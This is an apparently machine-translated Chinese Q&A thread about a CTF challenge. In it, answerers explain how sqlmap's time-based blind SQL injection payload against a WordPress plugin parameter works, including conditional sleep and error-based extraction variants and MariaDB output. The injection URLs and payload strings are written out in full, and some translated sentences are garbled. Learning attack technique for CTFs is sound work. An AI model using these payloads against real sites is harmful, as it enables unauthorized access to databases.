了解 SQLMAP 有效负载

信息安全 sql注入 mysql WordPress sqlmap ctf
2021-08-19 23:35:26

我参加了一个 CTF 并且有一个 SQL 注入挑战。有一个带有易受攻击的插件参数的 Wordpress 页面(我们称之为网站https://vulnerable.com/),解决方案来自于从数据库中泄漏值。使用 SQLMAP,它很快找到了有效负载。

访问页面时,有“N”秒延迟。

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)

SQLMAP 继续轻松地解决了这个问题。不过,这让我感到有点内疚,因为我并不真正了解有效载荷。我尝试将其更改为以下内容,但没有延迟。

没有延迟。

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND SELECT(SLEEP(N))

有人可以帮我理解嵌套SELECT语句、数字1749和看似随机的字符串nQtm吗?这些是随机的吗?为什么没有嵌套SELECT语句有效载荷会失败?

2个回答

我假设它是一个MySQL数据库。

1749(大于 0) 和nQtm(有效别名 - 派生表的“变量名”) 由 随机选择sqlmap问题sleep(N)在于SQL 数据库将其评估为 0,因此post=1 AND 0也将评估为零(FALSE : 1 AND 0 = 0)。1749SQL数据库解释TRUE类似if (42) { ... }事情_

没有延迟。

http://vulnerable.com/wp-admin/admin.php?action=dt_duplicate_post_as_draft&post=1 AND SELECT(SLEEP(N))

我只创建了一个随机查询,但它仍然延迟了 3 秒。所以我无法真正解释为什么它在你的情况下没有延迟(也许它不是MySQL 数据库(也许是Sqlite)或者某些内部数据库优化器跳过了该部分,sleep(N)因为它立即被评估为零,因为没有if -branches 。我曾在与SLEEP(N)类似的问题中跑过一次

select t.a from (select 1 as a, 2 as b, 3 as c) as t where t.b = 2 and 1=(select(sleep(3)))

在此处输入图像描述


细节:

SELECT(SLEEP(1)) 返回 0

(SELECT 1749 FROM (SELECT(SLEEP(1))) nQtm)其中nQtm派生的别名(如果您愿意,可以将其称为变量)如果您尝试执行结果将只是 0(结果为 0 的一行)。 (SELECT(SLEEP(1)))(SELECT nQtm.* FROM (SELECT(SLEEP(1))) as nQtm)

这与写入select t.* from (select 0) as t将导致 0 相同(您在此处选择所有列和所有行,但由于我们只有一行和一列,因此结果为 0)。

所以(SELECT 1749 FROM (SELECT(SLEEP(N))) nQtm)总是会导致1749- 你放入什么都没关系SLEEP(N)- 它会延迟N秒,但结果将是相同的(select 42 from (select 0)将始终选择 42,因此它在某种意义上独立于派生表(select 0))。

XAMPP:派生表

想象一下原始的 SQL 查询是:

"UPDATE posts
SET     data='hello world'
WHERE   user_id=42
        AND post=".$_POST["post"];

现在,如果您进行注射,它将导致:

UPDATE   posts
SET      data='hello world'
WHERE    user_id=42
         AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)

其中... AND post=1 AND (SELECT 1749 FROM (SELECT(SLEEP(N)))nQtm)which 与 ... AND post=1 AND 1749which 可能将被评估为1(这是TRUE)如果存储的条目post也为11=1 AND 17491 AND 1749相同1)。因此它将休眠N秒,然后对DB进行更新

您可以通过if...then...else声明来利用它MySQL 中有 2 个:(if (isMyDogBrown?, true, false))(case (isMyDogBrown?) then (true) else (false) end). 所以现在你可以构建你的查询,如果某些东西的计算结果为TRUE,它将休眠N秒:(SELECT IF ( substr(@@version, 0, 1)='1'), sleep(5), 0)


注意:您可以通过避免time based exploitation(非常慢)来优化您的查询。例如,您可以使用MySQL 正则表达式中的错误被视为MySQLbinary search based exploitation technique错误的事实(因此“MySQL/服务器错误”您将评估为TRUE并将“常规页面”评估为FALSE ; ...它可能会向mysql.js 发送垃圾邮件。在该服务器上记录错误消息):

(select (1) rlike (if (".$cmd.", true, 0x28)))

( 0x28= () ( https://www.systutorials.com/4670/ascii-table-and-ascii-code/ )

附加说明

  1. 这里有很多不同利用方法的重要来源,这是我多年前学习 SQL 注入的来源:https ://websec.wordpress.com/category/sqli/
  2. 如果您需要利用繁重的查询(基于时间):https : //github.com/sqlmapproject/sqlmap/issues/2909 - 您需要在本地主机localhost/wrapper.php?id=INJECT_HERE上编写自己的包装器将使sqlmap 的利用更容易sqlmap有时很难检测到漏洞。
  3. SLEEP(N)并非总是在任何地方都有效(如果您的 SQL 查询必须被破坏并且不返回可能由主 PHP/任何脚本中的某些过滤器评估的结果(如登录尝试计数器等))。有时您需要heavy query based exploitationhttps : //stackoverflow.com/questions/45666126/strange-behaviour-of-mysql-sleep-function

一般来说,SQL 注入取决于使用的数据库引擎,我认为在您的示例中,您为 MariaDB/MySQL 数据库提供了一个 sql。PostgreSQL 上的函数 sleep 是 pg_sleep,所以你的注入在 PostgreSQL 上不起作用。

MariaDB [CODINGGROUND]> (SELECT 1749 FROM (SELECT(SLEEP(1)))nQtm)                                                                                                                
    -> ;                                                                                                                                                                         
+------+                                                                                                                                                                         
| 1749 |                                                                                                                                                                         
+------+                                                                                                                                                                         
| 1749 |                                                                                                                                                                         
+------+ 

和另一个查询

MariaDB [CODINGGROUND]> select (sleep(1));                                                                                                                                       
+------------+                                                                                                                                                                   
| (sleep(1)) |                                                                                                                                                                   
+------------+                                                                                                                                                                   
|          0 |                                                                                                                                                                   
+------------+                                                                                                                                                                   
1 row in set (1.00 sec)  

所以基本上你可以弄清楚为什么一个有效而另一个无效。但请记住,通常 SQL 注入取决于您使用的数据库后端。因为 SQL 是一种标准语言,但并非所有引擎都以相同的方式实现并且它们有其差异。